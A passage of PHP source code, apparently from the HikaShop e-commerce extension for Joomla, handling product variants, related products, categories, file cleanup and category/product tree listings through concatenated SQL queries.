								foreach($char->values as $k => $val){
									$char_ids[]=$k;
								}
								if(!in_array($variant->variant_characteristic_id,$char_ids)){
									$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
('.$char->default_id.','.$variant->variant_product_id.',0);');
									$this->database->query();
								}
							}
						}
					}
				}
				return false;
			}
			if(!empty($main_ids)){
				$query = 'SELECT MAX(`ordering`) FROM
'.hikashop_table('variant');
				$query .= ' WHERE variant_characteristic_id IN
('.implode(',',$main_ids).') AND
variant_product_id='.$status;
				$this->database->setQuery($query);
				$max = $this->database->loadResult();
				$max++;
				$query = 'UPDATE '.hikashop_table('variant').'
SET `ordering` ='.$max.' WHERE `ordering`=0';
				$query .= ' AND variant_characteristic_id IN
('.implode(',',$main_ids).') AND
variant_product_id='.$status;
				$this->database->setQuery($query);
				$this->database->query();
				$query = 'SELECT
`ordering`,`variant_characteristic_id`,`variant_product_id` FROM
'.hikashop_table('variant');
				$query .= ' WHERE variant_characteristic_id IN
('.implode(',',$main_ids).') AND
variant_product_id='.$status;
				$query .= ' ORDER BY `ordering` ASC';
				$this->database->setQuery($query);
				$results = $this->database->loadObjectList();
				$i = 1;
				if(!empty($results)){
					foreach($results as $oneResult){
						if($oneResult->ordering != $i){
							$query = 'UPDATE
'.hikashop_table('variant').' SET `ordering`
='.$i.' WHERE
`variant_characteristic_id`='.$oneResult->variant_characteristic_id.'
AND `variant_product_id`='.$oneResult->variant_product_id;
							$this->database->setQuery($query);
							$this->database->query();
						}
						$i++;
					}
				}
			}

			$query = 'SELECT product_id FROM
'.hikashop_table('product').' WHERE product_parent_id =
'.$status.' AND product_type=\'variant\'';
			$this->database->setQuery($query);
			if(!HIKASHOP_J25){
				$results = $this->database->loadResultArray();
			} else {
				$results = $this->database->loadColumn();
			}
			if(!empty($results)){

				if(!@count($element->characteristics)){
					$this->delete($results);
				}else{
					JArrayHelper::toInteger($results);
					$query = 'SELECT * FROM
'.hikashop_table('variant').' WHERE variant_product_id
IN ('.implode(',',$results).')';
					$this->database->setQuery($query);
					$variants = $this->database->loadobjectList();
					$keep = array();

					foreach($results as $result){
						$key = '';
						foreach($element->characteristics as $characteristic){
							$id = false;
							foreach($variants as $variant){
								if($variant->variant_product_id==$result &&
in_array($variant->variant_characteristic_id,array_keys($characteristic->values))){
									$id=$variant->variant_characteristic_id;
									break;
								}
							}
							if($id)
$key.='_'.$characteristic->characteristic_id.'_'.$id;
						}
						if($key) $keep[$key]=$result;

					}

					$productDelete = array_diff($results,$keep);
					$this->delete($productDelete);
					$char_ids=array();
					foreach($element->characteristics as $characteristic){
						$char_ids=array_merge(array_keys($characteristic->values),$char_ids);
					}
					$query = 'DELETE FROM
'.hikashop_table('variant').' WHERE
variant_characteristic_id NOT IN
('.implode(',',$char_ids).')';
					if(count($keep)){
						$query.= ' AND variant_product_id IN
('.implode(',',$keep).')';
					}else{
						$query.= ' AND variant_product_id IN
('.implode(',',$results).')';
					}
					$this->database->setQuery($query);
					$this->database->query();
				}
			}

			$new = array_diff($main_ids,$element->oldCharacteristics);
			if(!empty($new) || (empty($results)&&!empty($main_ids))){
				if(empty($keep)){
					$table=array();
					$first=true;
					foreach($element->characteristics as $characteristic){
						$temp=array();
						foreach($characteristic->values as $k => $val){
							if($first) $temp[]=array($k);
							else $temp[]=$k;
						}
						$table[]=$temp;
						$first = false;
					}
					while(count($table)>1){
						$t1 = array_shift($table);
						$t2 = array_shift($table);
						$newt=array();
						foreach($t1 as $v1){
							foreach($t2 as $v2){
								$e = $v1;
								$e[]=$v2;
								$newt[] = $e;
							}
						}
						array_unshift($table,$newt);
					}
					$keys = reset($table);

					$config =& hikashop_config();
					$publish_state =
(int)$config->get('variant_default_publish',0);
					$insert=array();
					$query = 'INSERT IGNORE INTO
'.hikashop_table('product').'
(product_code,product_type,product_parent_id,product_published,product_modified,product_created,product_group_after_purchase)
VALUES ';
					$variants = 0;
					$codes=array();
					$db_codes=array();
					$newVariants =array();
					if(!empty($keys)) {
						foreach($keys as $key){
							$product_code =
$element->product_code.'_'.implode('_',$key);
							$insert[]='('.$this->database->Quote($product_code).',\'variant\','.$status.','.$publish_state.','.time().','.time().','.$this->database->Quote(@$element->product_group_after_purchase).')';
							$variants++;
							$codes[$product_code]=$key;
							$db_codes[]=$this->database->Quote($product_code);
							if($variants>500){
								$this->database->setQuery($query.implode(',',$insert).';');
								$this->database->query();
								$this->database->setQuery('SELECT
product_id,product_code FROM
'.hikashop_table('product').' WHERE product_code IN
('.implode(',',$db_codes).')');
								$objs = $this->database->loadObjectList();
								foreach($objs as $obj){
									foreach($codes[$obj->product_code] as $k){
										$newVariants[]=
'('.(int)$k.','.$obj->product_id.',0)';
									}
								}
								if(!empty($newVariants)){
									$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
'.implode(',',$newVariants));
									$this->database->query();
								}
								$codes=array();
								$variants=0;
								$insert=array();
								$db_codes=array();
								$newVariants =array();
							}
						}
					}
					if(!empty($insert)){
						$this->database->setQuery($query.implode(',',$insert).';');
						$this->database->query();
						$this->database->setQuery('SELECT product_id,product_code
FROM '.hikashop_table('product').' WHERE product_code
IN ('.implode(',',$db_codes).')');
						$objs = $this->database->loadObjectList();
						foreach($objs as $obj){
							foreach($codes[$obj->product_code] as $k){
								$newVariants[]=
'('.(int)$k.','.$obj->product_id.',0)';
							}
						}
						if(!empty($newVariants)){
							$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
'.implode(',',$newVariants));
							$this->database->query();
						}
					}


				}else{
					foreach($variants as $variant){
						$varIds[]=$variant->variant_product_id;
					}
					$varIdsString=implode(',', $varIds);
					$this->database->setQuery('SELECT * FROM
'.hikashop_table('product').' WHERE product_id IN
('.$varIdsString.')');
					$completeVariants = $this->database->loadObjectList();
					$this->database->setQuery('SELECT * FROM
'.hikashop_table('price').' WHERE price_product_id IN
('.$varIdsString.') OR
price_product_id='.$element->product_id);
					$prices = $this->database->loadObjectList();
					$this->database->setQuery('SELECT * FROM
'.hikashop_table('file').' WHERE (file_ref_id IN
('.$varIdsString.') OR
file_ref_id='.$element->product_id.') AND
file_type="product"');
					$images = $this->database->loadObjectList();
					$this->database->setQuery('SELECT * FROM
'.hikashop_table('file').' WHERE (file_ref_id IN
('.$varIdsString.') OR
file_ref_id='.$element->product_id.') AND
file_type="file"');
					$files = $this->database->loadObjectList();
					foreach($completeVariants as $key => $variant){
						foreach($prices as $price){
							if($variant->product_id==$price->price_product_id){
								$completeVariants[$key]->prices[]=$price;
							}
						}
						foreach($files as $file){
							if($variant->product_id==$file->file_ref_id){
								$completeVariants[$key]->files[]=$file;
							}
						}
						foreach($images as $image){
							if($variant->product_id==$image->file_ref_id){
								$completeVariants[$key]->images[]=$image;
							}
						}
					}
					$i=0;
					$keys[] =array();
					foreach($element->characteristics as $characteristic){
						if(!in_array($characteristic->characteristic_id,$element->oldCharacteristics)){
							if(empty($keys)){
								$keys = array_keys($characteristic->values);
								continue;
							}
							$temp = array();
							foreach($characteristic->values as $k => $val){
								foreach($keys as $key){
									if(!is_array($key))
										$key = array($key);
									array_push($key,$k);
									$temp[]=$key;
								}
							}
							$keys = $temp;
						}
					}
					foreach($completeVariants as $variant){
						$variant_code=$variant->product_code;
						foreach($keys as $key){
							$code=array();
							foreach($key as $k){
								$code[]=$k;
							}
							$code=implode('_',$code);
							$newVariants[$i]=$this->_copy($variant);
							$newVariants[$i]->product_code=$variant_code.'_'.$code;
							$variantCodes[]=$this->database->Quote($newVariants[$i]->product_code);
							unset($newVariants[$i]->product_id);
							$newVariants[$i]->product_created=time();
							$i++;
						}
					}
					$inserts=array();
					$this->delete($varIds, true);
					foreach($newVariants[0] as $key => $value){
						if($key!='prices' && $key!='files'
&& $key!='images'){
							$rows[]=$key;
						}
					}
					foreach($newVariants as $variant){
						$values=array();
						$variant=get_object_vars($variant);
						foreach($variant as $key => $value){
							if(!is_array($value) && !is_object($value)){
								if(empty($value)){
									$values[]='\'\'';
								}else{
									$values[]=$this->database->quote($value);
								}
							}
						}
						$inserts[]='('.implode(',',$values).')';
					}

					if(count($inserts)){
						$inserts=implode(',',$inserts);
						$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('product').'
('.implode(',',$rows).') VALUES
'.$inserts.';');
						$this->database->query();
					}
					$this->database->setQuery('SELECT product_code, product_id
FROM '.hikashop_table('product').' WHERE product_code
IN ('.implode(',',$variantCodes).')');
					$loadedNewVariants = $this->database->loadObjectList();

					$inserts=array();
					foreach($loadedNewVariants as $inBaseVariant){
						$product_code=str_replace($element->product_code,'',$inBaseVariant->product_code);
						$characteritic_ids=explode('_',$product_code);
						foreach($characteritic_ids as $id){
							if(!empty($id)){
								$inBaseVariant->caracteristic_ids[]=$id;
								$inserts[]='('.$id.','.$inBaseVariant->product_id.',0)';
							}
						}
					}
					if(count($inserts)){
						$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
'.implode(',',$inserts).';');
						$this->database->query();
					}

					$inserts=array();
					foreach($loadedNewVariants as $inBaseVariant){
						foreach($newVariants as $variant){
							if($inBaseVariant->product_code==$variant->product_code){
								$variant->product_id=$inBaseVariant->product_id;
								break;
							}
						}
					}
					foreach($newVariants as $variant){
						if(isset($variant->prices)){
							foreach($variant->prices as $price){
								$inserts[]='('.$price->price_currency_id.','.$variant->product_id.','.$price->price_value.','.$price->price_min_quantity.','.$this->database->quote($price->price_access).')';
							}
						}
					}
					if(count($inserts)){
						$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('price').'
(price_currency_id,price_product_id,price_value ,price_min_quantity
,price_access) VALUES
'.implode(',',$inserts).';');
						$this->database->query();
					}

					$inserts=array();
					foreach($newVariants as $variant){
						if(isset($variant->files)){
							foreach($variant->files as $file){
								$inserts[]='('.$this->database->quote($file->file_name).','.$this->database->quote($file->file_description).','.$this->database->quote($file->file_path).','.$this->database->quote($file->file_type).','.$variant->product_id.','.$file->file_free_download.',0,'.$file->file_limit.')';
							}
						}
						if(isset($variant->images)){
							foreach($variant->images as $image){
								$inserts[]='('.$this->database->quote($image->file_name).','.$this->database->quote($image->file_description).','.$this->database->quote($image->file_path).','.$this->database->quote($image->file_type).','.$variant->product_id.','.$image->file_free_download.',0,'.$image->file_limit.')';
							}
						}
					}
					if(count($inserts)){
						$this->database->setQuery('INSERT IGNORE INTO
'.hikashop_table('file').'
(file_name,file_description,file_path ,file_type ,file_ref_id,
file_free_download,file_ordering,file_limit) VALUES
'.implode(',',$inserts).';');
						$this->database->query();
					}
				}

			}
		}else{
			$filter='';

			if(!empty($element->characteristics)){
				$filter = ' AND variant_characteristic_id NOT IN
('.implode(',',array_keys($element->characteristics)).')';
			}
			$query = 'DELETE FROM
'.hikashop_table('variant').' WHERE
variant_product_id='.$status.$filter;
			$this->database->setQuery($query);
			$this->database->query();
			if(!empty($element->characteristics)){
				$insert = array();
				foreach(array_keys($element->characteristics) as $c){
					$insert[]='('.$c.','.$status.',0)';
				}
				$query = 'INSERT IGNORE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
'.implode(',',$insert).';';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}

	}

	function updateRelated($element,$status,$type='related'){
		if($element->product_type=='variant') return true;
		$filter='';
		$query = 'DELETE FROM
'.hikashop_table('product_related').' WHERE
product_related_type=\''.$type.'\' AND product_id =
'.$status.$filter;
		$this->database->setQuery($query);
		$this->database->query();
		if(count($element->$type)){
			$insert = array();
			foreach($element->$type as $new){
				$insert[]='('.$new->product_related_id.','.$status.',\''.$type.'\',\''.(int)$new->product_related_ordering.'\')';
			}
			$query = 'INSERT IGNORE INTO
'.hikashop_table('product_related').'
(product_related_id,product_id,product_related_type,product_related_ordering)
VALUES '.implode(',',$insert).';';
			$this->database->setQuery($query);
			$this->database->query();
		}
	}

	function updateCategories(&$element,$status){

		if($element->product_type=='variant') return true;
		if(empty($element->categories) &&
$element->product_type=='main'){
			$query = 'SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_type=\'root\' AND category_parent_id=0 LIMIT 1';
			$this->database->setQuery($query);
			$root = $this->database->loadResult();
			$query = 'SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_parent_id='.$root.' AND
category_type=\'product\' LIMIT 1';
			$this->database->setQuery($query);
			$root = $this->database->loadResult();
			$element->categories = array($root);
		}

		$this->database->setQuery('SELECT category_id FROM
'.hikashop_table('product_category').' WHERE
product_id='.$status);
		if(!HIKASHOP_J25){
			$olds = $this->database->loadResultArray();
		} else {
			$olds = $this->database->loadColumn();
		}

		$do_nothing = array_intersect($element->categories,$olds);
		$delete = array_diff($olds,$do_nothing);
		$news = array_diff($element->categories,$do_nothing);
		if(!empty($delete)){
			$this->database->setQuery('DELETE FROM
'.hikashop_table('product_category').' WHERE
product_id='.$status.' AND category_id IN
('.implode(',',$delete).')');
			$this->database->query();
		}
		if(!empty($news)){
			$insert = array();
			foreach($news as $new){
				$insert[]='('.$new.','.$status.')';
			}
			$query = 'INSERT IGNORE INTO
'.hikashop_table('product_category').'
(category_id,product_id) VALUES
'.implode(',',$insert).';';
			$this->database->setQuery($query);
			$this->database->query();
		}

		$reorders = array_merge($news,$delete);
		if(!empty($reorders)){
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'product_category_id';
			$orderClass->table = 'product_category';
			$orderClass->groupMap = 'category_id';
			$orderClass->orderingMap = 'ordering';
			foreach($reorders as $reorder){
				$orderClass->groupVal = $reorder;
				$orderClass->reOrder();
			}
		}
	}

	function
updateFiles(&$element,$status,$type='images',$orders=null){
		$filter='';
		if(count($element->$type)){
			$filter = 'AND file_id NOT IN
('.implode(',',$element->$type).')';
		}
		$file_type = 'product';
		if($type == 'files'){
			$file_type = 'file';
		}
		$main = ' FROM '.hikashop_table('file').' WHERE
file_ref_id = '.$status.' AND
file_type=\''.$file_type.'\' AND
SUBSTRING(file_path,1,1) != \'@\' '.$filter;
		$this->database->setQuery('SELECT file_path '.$main);
		if(!HIKASHOP_J25){
			$toBeRemovedFiles = $this->database->loadResultArray();
		} else {
			$toBeRemovedFiles = $this->database->loadColumn();
		}
		if(!empty($toBeRemovedFiles)){
			$file = hikashop_get('class.file');
			$uploadPath = $file->getPath($file_type);
			$oldFiles = array();
			foreach($toBeRemovedFiles as $old){
				$oldFiles[] = $this->database->Quote($old);
			}
			$this->database->setQuery('SELECT file_path FROM
'.hikashop_table('file').' WHERE file_path IN
('.implode(',',$oldFiles).') AND file_ref_id !=
'.$status);
			if(!HIKASHOP_J25){
				$keepFiles = $this->database->loadResultArray();
			} else {
				$keepFiles = $this->database->loadColumn();
			}
			foreach($toBeRemovedFiles as $old){
				if((empty($keepFiles) || !in_array($old,$keepFiles)) &&
JFile::exists( $uploadPath . $old)){
					JFile::delete( $uploadPath . $old );
					jimport('joomla.filesystem.folder');
					$thumbnail_folders = JFolder::folders($uploadPath);
					if(JFolder::exists($uploadPath.'thumbnails'.DS)) {
						$other_thumbnail_folders =
JFolder::folders($uploadPath.'thumbnails');
						foreach($other_thumbnail_folders as $other_thumbnail_folder) {
							$thumbnail_folders[] =
'thumbnails'.DS.$other_thumbnail_folder;
						}
					}
					foreach($thumbnail_folders as $thumbnail_folder){
						if($thumbnail_folder != 'thumbnail' &&
substr($thumbnail_folder, 0, 9) != 'thumbnail' &&
substr($thumbnail_folder, 0, 11) != ('thumbnails'.DS))
							continue;
						if(!in_array($file_type,array('file','watermark'))
&& JFile::exists(  $uploadPath .$thumbnail_folder.DS. $old)){
							JFile::delete( $uploadPath .$thumbnail_folder.DS. $old );
						}
					}
				}
			}
			$this->database->setQuery('DELETE'.$main);
			$this->database->query();
		}
		if(!empty($orders) && is_array($element->$type) &&
count($element->$type)) {
			$this->database->setQuery('SELECT file_id, file_ordering FROM
'.hikashop_table('file').' WHERE file_id IN
('.implode(',',$element->$type).')');
			$oldOrders = $this->database->loadObjectList();
			if(!empty($oldOrders)) {
				foreach($oldOrders as $oldOrder) {
					if(isset($orders[$oldOrder->file_id]) &&
$orders[$oldOrder->file_id] != $oldOrder->file_ordering) {
						$this->database->setQuery('UPDATE
'.hikashop_table('file').' SET file_ordering =
'.(int)$orders[$oldOrder->file_id].' WHERE file_id =
'.$oldOrder->file_id);
						$this->database->query();
					}
				}
			}
		}
		if(count($element->$type)){
			$query = 'UPDATE '.hikashop_table('file').' SET
file_ref_id='.$status.' WHERE file_id IN
('.implode(',',$element->$type).') AND
file_ref_id=0';
			$this->database->setQuery($query);
			$this->database->query();
		}
	}

	function delete(&$elements, $ignoreFile=false){
		if(!is_array($elements)){
			$elements = array($elements);
		}
		if(!empty($elements)){
			$query ='SELECT product_id FROM
'.hikashop_table('product').' WHERE
product_type=\'variant\' AND product_parent_id IN
('.implode(',',$elements).')';
			$this->database->setQuery($query);
			if(!HIKASHOP_J25){
				$elements=array_merge($elements,$this->database->loadResultArray());
			} else {
				$elements=array_merge($elements,$this->database->loadColumn());
			}
		}
		JArrayHelper::toInteger($elements);
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do=true;
		$dispatcher->trigger( 'onBeforeProductDelete', array( &
$elements, & $do) );
		if(!$do){
			return false;
		}
		$status = parent::delete($elements);

		if($status){
			$dispatcher->trigger( 'onAfterProductDelete', array( &
$elements ) );

			$class = hikashop_get('class.file');
			$class->deleteFiles('product',$elements,$ignoreFile);
			$class->deleteFiles('file',$elements,$ignoreFile);
			$class = hikashop_get('helper.translation');
			$class->deleteTranslations('product',$elements);
			return count($elements);
		}
		return $status;
	}

	function addFiles(&$element,&$files){
		if(!empty($element->variants)){
			foreach($element->variants as $k => $variant){
				$this->addFiles($element->variants[$k],$files);
			}
		}
		if(!empty($element->options)){
			foreach($element->options as $k => $optionElement){
				$this->addFiles($element->options[$k],$files);
			}
		}
		foreach($files as $file){
			if($file->file_ref_id==$element->product_id){
				if($file->file_type=='file'){
					$element->files[]=$file;
				}else{
					$element->images[]=$file;
				}
			}
		}
	}

	function
checkVariant(&$variant,&$element,$map=array(),$force=false){
		if(!empty($variant->variant_checked)) return true;
		$checkfields =
array('product_name','product_description','prices','images','discount','product_url','product_weight','product_weight_unit','product_keywords','product_meta_description','product_dimension_unit','product_width','product_length','product_height','files','product_contact','product_max_per_order','product_min_per_order','product_sale_start','product_sale_end','product_manufacturer_id');
		$fieldsClass = hikashop_get('class.field');
		$fields =
$fieldsClass->getFields('frontcomp',$element,'product','checkout&task=state');
		foreach($fields as $field){
			$checkfields[]=$field->field_namekey;
		}
		if(empty($variant->product_id)){
			$variant->product_id=$element->product_id;
			$variant->map=implode('_',$map);
			$variant->product_parent_id=$element->product_id;
			$variant->product_quantity = 0;
			$variant->product_code = '';
			$variant->product_published = -1;
			$variant->product_type = 'variant';
			$variant->product_sale_start = 0;
			$variant->product_sale_end = 0;
			$variant->characteristics=array();
			foreach($map as $k => $id){
				$variant->characteristics[$id]=$element->characteristics[$k]->values[$id];
			}
		}elseif(empty($variant->characteristics)){
			$variant->characteristics=array();
		}

		if(isset($variant->product_weight) &&
$variant->product_weight==0){
			$variant->product_weight_unit=$element->product_weight_unit;
		}
		if(isset($variant->product_length) &&
isset($variant->product_height) &&
isset($variant->product_width) && $variant->product_length==0
&& $variant->product_height==0 &&
$variant->product_width==0){
			$variant->product_dimension_unit=$element->product_dimension_unit;
		}

		$variant->main_product_name = @$element->product_name;
		$variant->characteristics_text = '';
		$variant->variant_name = @$variant->product_name;
		$config =& hikashop_config();
		$perfs =
$config->get('variant_increase_perf','1');
		$separator = JText::_('HIKA_VARIANTS_MIDDLE_SEPARATOR');
		if($separator == 'HIKA_VARIANTS_MIDDLE_SEPARATOR')
			$separator = ' ';
		$product_price_percentage = @$variant->product_price_percentage;
		foreach($checkfields as $field){
			if(!empty($variant->$field)){
				if($field != 'product_name' &&
(!is_numeric($variant->$field) || bccomp($variant->$field,0,5))){
					continue;
				}
			}

			if(isset($element->$field) && (is_array($element->$field)
&& count($element->$field) || is_object($element->$field))){
				$variant->$field=$this->_copy($element->$field);

				if($field=='prices'){
					if(!empty($variant->cart_product_total_variants_quantity)){
						$variant->cart_product_total_quantity =
$variant->cart_product_total_variants_quantity;
					}
					if($product_price_percentage>0){
						foreach($variant->$field as $k => $v){
							foreach(get_object_vars($v) as $key => $value){
								if(in_array($key,
array('taxes_without_discount','taxes','taxes_orig'))){
									foreach($value as $taxKey => $tax){
										$variant->prices[$k]->taxes[$taxKey]->tax_amount =
$tax->tax_amount*$product_price_percentage/100;
									}
								}elseif(!in_array($key,array('price_currency_id','price_orig_currency_id','price_min_quantity','price_access'))){
									$variant->prices[$k]->$key =
$value*$product_price_percentage/100;
								}
							}
						}
					}
				}
			}else{
				if($field=='product_name'){
					if(!empty($variant->characteristics)){
						foreach($variant->characteristics as $val){
							$variant->characteristics_text.=$separator.$val->characteristic_value;
						}
					}
				}elseif(!$perfs || $force){
					$variant->$field = @$element->$field;
				}
			}
		}
		if(empty($variant->product_name)){
			$variant->product_name=$variant->main_product_name;
		}
		$config =& hikashop_config();
		if(!empty($variant->main_product_name) &&
$config->get('append_characteristic_values_to_product_name',1)){
			$separator = JText::_('HIKA_VARIANT_SEPARATOR');
			if($separator == 'HIKA_VARIANT_SEPARATOR')
				$separator = ': ';
			$variant->product_name =
$variant->main_product_name.'<span
class="hikashop_product_variant_subname">'.$separator.$variant->characteristics_text.'</span>';
		}
		if(!$variant->product_published){
			$variant->product_quantity=0;
		}
		$variant->variant_checked = true;
	}
	function _copy(&$src){
		if(is_array($src)){
			$array = array();
			foreach($src as $k => $v){
				$array[$k]=$this->_copy($v);
			}
			return $array;
		}elseif(is_object($src)){
			$obj = new stdClass();
			foreach(get_object_vars($src) as $k => $v){
				$obj->$k=$this->_copy($v);
			}
			return $obj;
		}else{
			return $src;
		}
	}

	function generateVariantData(&$element){
		$config =& hikashop_config();
		$perfs = $config->get('variant_increase_perf',1);
		if($perfs && !empty($element->main)){
			$required_fields = array();

			foreach (get_object_vars($element->main) as $name=>$value) {
				if(!is_array($name)&&!is_object($name)){
					$required = false;

					foreach ($element->variants as $variant) {
						if(!empty($variant->$name) &&
(!is_numeric($variant->$name) || $variant->$name>0)){
							$required = true;
							break;
						}
					}
					if($required){
						foreach ($element->variants as $k=>$variant) {
							if(empty($variant->$name) || (is_numeric($variant->$name)
&& $variant->$name==0.0)){
								if($name=='product_quantity' &&
$variant->$name==0){
									continue;
								}
								$element->variants[$k]->$name=$element->main->$name;
							}
						}
					}
				}
			}
		}
		if(!isset($element->main->images))$element->main->images=null;
	}

	public function getTreeList($start = 0, $depth = 1, $serialized = false,
$display = '', $limit = 200) {
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();

		if(empty($display) || strpos($display, '%name%') === false)
			$display = '%name%';

		if($depth <= 0)
			$depth = 1;

		if($start > 0) {
			$query = 'SELECT a.*, b.category_depth as `base_depth`' .
				' FROM ' . hikashop_table('category') . ' AS
a' .
				' INNER JOIN ' . hikashop_table('category') .
' AS b ON a.category_left >= b.category_left AND a.category_right
<= b.category_right'.
				' WHERE b.category_id = ' . $start . ' AND
a.category_type IN
(\'product\',\'manufacturer\',\'vendor\',\'root\')
AND a.category_depth >= b.category_depth AND a.category_depth <=
(b.category_depth + ' . $depth . ')'.
				' ORDER BY a.category_left ASC, a.category_name ASC';
		} else {
			$query = 'SELECT a.*, 0 as `base_depth`' .
				' FROM ' . hikashop_table('category') . ' AS
a' .
				' WHERE a.category_type IN
(\'product\',\'manufacturer\',\'vendor\',\'root\')
AND a.category_depth >= 0 AND a.category_depth <= ' . $depth .
				' ORDER BY a.category_left ASC, a.category_name ASC';
		}
		$db->setQuery($query);
		$category_elements = $db->loadObjectList();
		$categories = array();

		foreach($category_elements as &$element) {
			if(empty($element->value)){
				$val = str_replace(' ', '_',
strtoupper($element->category_name));
				$element->value = JText::_($val);
				if($val == $element->value) {
					$element->value = $element->category_name;
				}
			}
			$element->category_name = $element->value;

			if($element->category_namekey == 'root') {
				$element->category_parent_id = -1;
			}

			if($element->category_depth < $element->base_depth + $depth) {
				$categories[] = $element->category_id;
			}

			unset($element);
		}

		$product_elements = array();
		if(!empty($categories)) {
			$query = 'SELECT a.*, c.category_id FROM ' .
hikashop_table('product') . ' AS a'.
				' INNER JOIN ' . hikashop_table('product_category')
. ' AS b ON a.product_id = b.product_id'.
				' INNER JOIN ' . hikashop_table('category') .
' AS c ON c.category_id = b.category_id'.
				' WHERE b.category_id IN (' . implode(',',
$categories) . ')'.
				' ORDER BY c.category_left ASC, c.category_name ASC,
a.product_name ASC';
			$db->setQuery($query, 0, $limit);
			$product_elements = $db->loadObjectList();
		}

		if(!$serialized) {
			return array($category_elements, $product_elements);
		}

		$tree = array();
		$nodes = array();

		foreach($category_elements as $element) {
			$obj = new stdClass();
			$obj->status = 2;
			$obj->name = $element->category_name;
			$obj->value = $element->category_id;
			if($element->category_type == 'root') {
				$obj->status = 5;
				$obj->icon = 'world';
				$obj->noselection = 1;
			}
			if($element->category_depth == $element->base_depth + $depth) {
				$obj->status = 3;
			}
			$obj->data = array();

			if(!empty($element->category_parent_id) &&
$element->category_id != $element->category_parent_id &&
isset($nodes[$element->category_parent_id])) {
				$nodes[$element->category_parent_id]->data[] =& $obj;
			} else {
				$tree[] =& $obj;
			}
			if($element->category_type != 'root') {
				$nodes[$element->category_id] =& $obj;
			}
			unset($obj);
		}
		unset($category_elements);

		foreach($product_elements as $element) {
			$obj = new stdClass();
			$obj->status = 0;
			if(empty($display) || $display == '%name%') {
				$obj->name = $element->product_name;
			} else {
				if($element->product_quantity == -1)
					$element->product_quantity = JText::_('UNLIMITED');
				$obj->name = str_replace(
					array('%name%', '%code%', '%qty%'),
					array($element->product_name, $element->product_code,
$element->product_quantity),
					$display
				);
			}
			$obj->value = $element->product_id;

			if(!empty($element->category_id) &&
isset($nodes[$element->category_id])) {
				$nodes[$element->category_id]->data[] =& $obj;
			} else {
				$tree[] =& $obj;
			}
			unset($obj);
		}
		unset($product_elements);

		foreach($nodes as &$node) {
			if(empty($node->data)) {
				unset($node->data);
				if($node->status == 2)
					$node->status = 4;
			}
			unset($node);
		}

		return $tree;
	}

	public function findTreeList($search = '', $start = 0,
$serialized = false, $display = '', $limit = 200) {
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();

		if(empty($display) || strpos($display, '%name%') === false)
			$display = '%name%';

		if($start > 0) {
			$query = 'SELECT a.*' .
					' FROM ' . hikashop_table('category') . ' AS
a' .
					' INNER JOIN ' . hikashop_table('category') .
' AS b ON a.category_left >= b.category_left AND a.category_right
<= b.category_right'.
					' WHERE b.category_id = ' . $start . ' AND
a.category_type IN (\'product\',\'root\')'.
					' ORDER BY a.category_left ASC, a.category_name ASC';
		} else {
			$query = 'SELECT a.*' .
					' FROM ' . hikashop_table('category') . ' AS
a' .
					' WHERE a.category_type IN
(\'product\',\'root\')' .
					' ORDER BY a.category_left ASC, a.category_name ASC';
		}
		$db->setQuery($query);
		$category_elements = $db->loadObjectList();
		$categories = array();

		foreach($category_elements as &$element) {
			if(empty($element->value)){
				$val = str_replace(' ', '_',
strtoupper($element->category_name));
				$element->value = JText::_($val);
				if($val == $element->value) {
					$element->value = $element->category_name;
				}
			}
			$element->category_name = $element->value;
			if($element->category_namekey == 'root') {
				$element->category_parent_id = -1;
			}
			$categories[] = $element->category_id;
			unset($element);
		}

		$product_elements = array();
		if(!empty($categories)) {
			if(HIKASHOP_J30)
				$searchStr = "'%" . $db->escape($search, true) .
"%'";
			else
				$searchStr = "'%" . $db->getEscaped($search, true) .
"%'";

			$query = 'SELECT a.*, c.category_id FROM ' .
hikashop_table('product') . ' AS a'.
					' INNER JOIN ' .
hikashop_table('product_category') . ' AS b ON a.product_id
= b.product_id'.
					' INNER JOIN ' . hikashop_table('category') .
' AS c ON c.category_id = b.category_id'.
					' WHERE (a.product_name LIKE '.$searchStr.' OR
a.product_code LIKE '.$searchStr.') AND b.category_id IN ('
. implode(',', $categories) . ')'.
					' ORDER BY c.category_left ASC, c.category_name ASC,
a.product_name ASC';
			$db->setQuery($query, 0, $limit);
			$product_elements = $db->loadObjectList();
		}

		if(!$serialized) {
			return array($category_elements, $product_elements);
		}

		$tree = array();
		$nodes = array();

		foreach($category_elements as $element) {
			$obj = new stdClass();
			$obj->status = 2;
			$obj->name = $element->category_name;
			$obj->value = $element->category_id;
			if($element->category_type == 'root') {
				$obj->status = 5;
				$obj->icon = 'world';
				$obj->noselection = 1;
			}
			$obj->data = array();

			if(!empty($element->category_parent_id) &&
$element->category_id != $element->category_parent_id &&
isset($nodes[$element->category_parent_id])) {
				$nodes[$element->category_parent_id]->data[] =& $obj;
			} else {
				$tree[] =& $obj;
			}
			if($element->category_type != 'root') {
				$nodes[$element->category_id] =& $obj;
			}
			unset($obj);
		}

		foreach($product_elements as $element) {
			$obj = new stdClass();
			$obj->status = 0;
			if(empty($display) || $display == '%name%') {
				$obj->name = $element->product_name;
			} else {
				if($element->product_quantity == -1)
					$element->product_quantity = JText::_('UNLIMITED');
				$obj->name = str_replace(
						array('%name%', '%code%', '%qty%'),
						array($element->product_name, $element->product_code,
$element->product_quantity),
						$display
				);
			}
			$obj->value = $element->product_id;

			if(!empty($element->category_id) &&
isset($nodes[$element->category_id])) {
				$nodes[$element->category_id]->data[] =& $obj;
			} else {
				$tree[] =& $obj;
			}
			unset($obj);
		}
		unset($product_elements);

		$reverse_categories = array_reverse($category_elements);
		foreach($reverse_categories as $element) {
